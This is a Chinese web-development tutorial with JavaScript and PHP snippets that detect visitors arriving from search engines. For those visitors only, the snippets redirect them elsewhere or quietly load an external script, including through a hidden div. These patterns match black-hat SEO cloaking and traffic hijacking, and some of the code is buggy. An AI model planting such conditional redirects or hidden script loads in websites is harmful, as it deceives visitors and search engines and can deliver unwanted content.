js如何判斷訪問(wèn)是來(lái)自搜索引擎(蜘蛛人)還是直接訪問(wèn)
以下javascript腳本代碼可以實(shí)現(xiàn)判斷訪問(wèn)是否來(lái)自搜索引擎。
代碼如下:
<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //轉(zhuǎn)為小寫
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = '要跳轉(zhuǎn)的網(wǎng)址';
window.adworkergo = 'ad_app6';
}
}
</script>介紹的這個(gè)JS判斷蜘蛛來(lái)源的方法腳本是寫在body的onload里面的。即頁(yè)面加載時(shí)進(jìn)行判斷。代碼如下:
body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
}
);}這個(gè)JS判斷蜘蛛來(lái)源方法不太好用。特別是在需要判斷更多蜘蛛來(lái)源時(shí)代碼寫起來(lái)比較麻煩。
JS正則表達(dá)式判斷來(lái)路搜索引擎指定跳轉(zhuǎn)網(wǎng)址
var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳轉(zhuǎn)指定網(wǎng)址";
}
<script language="javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
window.opener.navigate("http://www.dhdzp.com")
</script>通過(guò)Js判斷搜索引擎來(lái)路的代碼則如下
<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}
function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>一段php判斷搜索引擎的代碼
<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>手機(jī)端別忘了 sm、 sogou。
基本上也差不多了,如果你有更好的代碼,可以留言.
到此這篇關(guān)于js如何判斷訪問(wèn)是來(lái)自搜索引擎(蜘蛛人)還是直接訪問(wèn)的文章就介紹到這了,更多相關(guān)js判斷蜘蛛內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
微信小程序自定義導(dǎo)航欄功能的實(shí)現(xiàn)
本文介紹了微信小程序自定義導(dǎo)航欄功能的實(shí)現(xiàn)方法,首先,需要去掉原生導(dǎo)航欄,可以通過(guò)在page.json中去掉navigationBarTitleText并加上"navigationStyle":"custom"來(lái)實(shí)現(xiàn),然后,可以使用組件封裝來(lái)實(shí)現(xiàn)自定義導(dǎo)航欄的功能,感興趣的朋友一起看看吧2025-01-01
一文探索執(zhí)行JavaScript函數(shù)的多種方法
在前端開發(fā)中,動(dòng)態(tài)執(zhí)行?JavaScript?函數(shù)是一種強(qiáng)大的能力,能夠幫助開發(fā)者實(shí)現(xiàn)靈活的邏輯控制,本文將和大家探討一下幾種常用的執(zhí)行方法,需要的可以了解下2025-01-01

